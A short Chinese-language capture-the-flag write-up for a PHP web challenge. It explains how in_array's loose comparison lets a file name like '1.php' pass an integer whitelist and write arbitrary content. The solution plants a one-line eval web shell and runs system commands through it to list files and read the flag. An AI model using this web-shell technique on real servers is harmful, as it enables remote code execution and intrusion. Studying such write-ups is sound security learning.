信息收集
array_push(array, value):向數組最后的位置插入value
in_array(value, array, type):其中value是要查找的值,array是需要查找的的數組,type是查找的類型,如果沒有指定類型,則以弱比較方式查找
in_array存在一個弱比較漏洞,也就是當type設置時,且value的類型與數組數據內容類型不同時,value會被轉化為數組數據的類型。此時如果value是字符串,而array數據類型是int,那么字符串會被轉化為int
highlight_file(__FILE__);
// 生成一個數組
$allow = array();
// 遍歷 36 到 0x36d;0x36d = 877
// 向數組插入元素,隨機數1到最多877
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
// 查詢是否存在$_GET['n'],如果存在則以$_GET['n']為文件名寫入$_POST['content']
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}
解題
由于in_array未設置type,我們構造?n=1.php
,此時in_array比較時,1.php
被強制類型轉化為int,也就是1,1大概率存在于數組中,此時我們向1.php寫入一句話木馬即可
?n=1.php
post:
content=<?php eval($_GET[cmd]);?>
再訪問我們的木馬文件,獲取目錄和flag
1.php?cmd=system('ls');
1.php?cmd=system('tac flag36d.php');
web ?? 目錄 ?? web